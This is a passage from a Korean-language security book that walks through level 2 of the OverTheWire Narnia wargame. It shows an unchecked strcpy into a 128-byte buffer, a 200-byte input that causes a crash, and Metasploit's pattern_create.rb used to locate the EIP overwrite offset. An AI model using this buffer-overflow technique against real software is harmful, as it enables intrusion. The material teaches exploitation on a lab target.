더북(TheBook)

3단계

3단계 로그인

# ssh narnia2@narnia.labs.overthewire.org

narnia2@narnia.labs.overthewire.org's password: [narnia2 패스워드]

$ cd /narnia/

$ cat narnia2.c

C 코드의 주요 부분을 살펴보자.

char buf[128];

if(argc == 1){
  printf("Usage: %s argument\n", argv[0]);
  exit(1);
}
strcpy(buf, argv[1]);
printf("%s", buf);

 

이 코드를 보면 인자를 받아 buf에 복사한다. buf는 128바이트이므로, 문자 200개를 입력하자.

narnia2@melinda:/narnia$ ./narnia2 `python -c 'print "A" * 200'`

Segmentation fault

문자 200개를 입력했더니 세그멘테이션 오류 Segmentation fault가 발생했다. EIP(실행 명령 주소)를 덮어쓰기 전에 바이트 수를 체크해야 하는데, 이는 pattern_create.rb 메타스플로이트 모듈로 처리할 수 있다. 이 모듈은 다음과 같이 유일한 문자열을 생성한다. 여기서는 200바이트 문자열을 만들 것이다. 이 문자열은 겹치는 부분이 없으므로 프로그램이 EIP를 오버플로하는 위치를 정확히 식별할 수 있다.

# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb 200

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

신간 소식 구독하기
뉴스레터에 가입하시고 이메일로 신간 소식을 받아 보세요.